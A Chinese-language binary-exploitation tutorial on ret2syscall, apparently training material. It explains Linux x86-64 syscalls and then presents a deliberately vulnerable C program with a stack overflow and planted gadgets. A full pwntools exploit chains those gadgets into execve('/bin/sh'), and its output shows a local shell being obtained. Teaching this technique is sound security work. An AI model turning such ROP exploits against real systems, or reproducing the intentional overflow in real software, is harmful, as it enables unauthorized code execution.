在上一章节中简短的提到了一些 syscall 相关的内容,在本章我们将详细讲解 ret2syscall 的具体技术细节与 syscall 当然此处的 ret2syscall 并不能完全算是标准的 ret2syscall ,因为硬要说的话,你的 syscall gadget也在text段,何尝不是一种 ret2text呢?
syscall
Linux 中的 syscall(系统调用),是用户态程序向内核请求服务的接口
普通程序运行在权限较低的用户态,不能直接操作硬件、进程或内核数据 因此,当程序需要执行以下操作时,就必须通过系统调用进入内核:
read:读取文件或输入write:写入文件或输出openat:打开文件mmap:映射内存fork/clone:创建进程或线程execve:运行新程序exit:退出进程
以 x86-64 Linux 为例,执行系统调用时通常:
- 将系统调用编号放入
rax - 将参数依次放入
rdi、rsi、rdx、r10、r8、r9注意此处参数顺序,第四个参数不是rcx保存 - 执行
syscall指令 - 内核完成操作后,将返回值放入
rax
例如:
mov rax, 1 ; syscall 编号 1:write
mov rdi, 1 ; 文件描述符 1:stdout
mov rsi, message ; 字符串地址
mov rdx, 5 ; 字符串长度
syscall
可以将 syscall 简单理解为:
用户程序进入内核并调用内核功能的一扇受控入口。
ret2syscall
依旧我们搭配一个 demo 理解这种攻击手法
点击查看
#include <stdio.h>
#include <stdlib.h>
char binsh[8] = "/bin/sh\x00";
void gadget(){
asm("pop %rax; pop %rdi; pop %rsi; pop %rdx; ret");
asm("syscall;");
}
void vuln(){
char buf[0x20];
read(0, buf, 0x100);
}
void main(){
vuln();
}
使用以下命令编译
gcc demo.c -o demo -fno-stack-protector -no-pie
拿到题目首先 checksec
❯ checksec demo
[*] '/home/converter258/workplace/syc/recruitment/task7/ret2syscall/demo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
然后打开 IDA
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x100uLL);
}
为了方便示例,我们提前预留了一套完整的 gadget
.text:000000000040113E pop rax
.text:000000000040113F pop rdi
.text:0000000000401140 pop rsi
.text:0000000000401141 pop rdx
.text:0000000000401142 retn
...
.text:0000000000401143 syscall ; LINUX -
IDA里看 gadget 函数可能有一点边界问题,但是不影响我们解题 有一套完整的gadget 用于设置 rax rdi rsi rdx,同时有syscall的gadget
根据上一部分提到的构造,我们需要通过 ROP 设置 rax 为 0x3b
rdi指向 /bin/sh ,rsi和rdx设置为 0
大致栈结构如下
payload = cyclic(0x28) + p64(gadget) + p64(0x3b) + p64(binsh_addr) + p64(0) +p64(0) + p64(syscall_addr)
完善exp
exp
#!/usr/bin/python3
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
ELF_PATH = './demo'
io = process(ELF_PATH)
gadget = 0x40113E
syscall_addr = 0x401143
binsh_addr = 0x404018
payload = cyclic(0x28) + p64(gadget) + p64(0x3b) + p64(binsh_addr) + p64(0) +p64(0) + p64(syscall_addr)
io.sendline(payload)
io.interactive()
执行一下
❯ python3 exp.py
[+] Starting local process './demo' argv=[b'./demo'] : pid 12143
[DEBUG] Sent 0x59 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 3e 11 40 00 00 00 00 00 │iaaa│jaaa│>·@·│····│
00000030 3b 00 00 00 00 00 00 00 18 40 40 00 00 00 00 00 │;···│····│·@@·│····│
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000050 43 11 40 00 00 00 00 00 0a │C·@·│····│·│
00000059
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0xd bytes:
b'converter258\n'
converter258
$
一点练习题
Payphone
I’m at a payphone trying to call home ♬ ~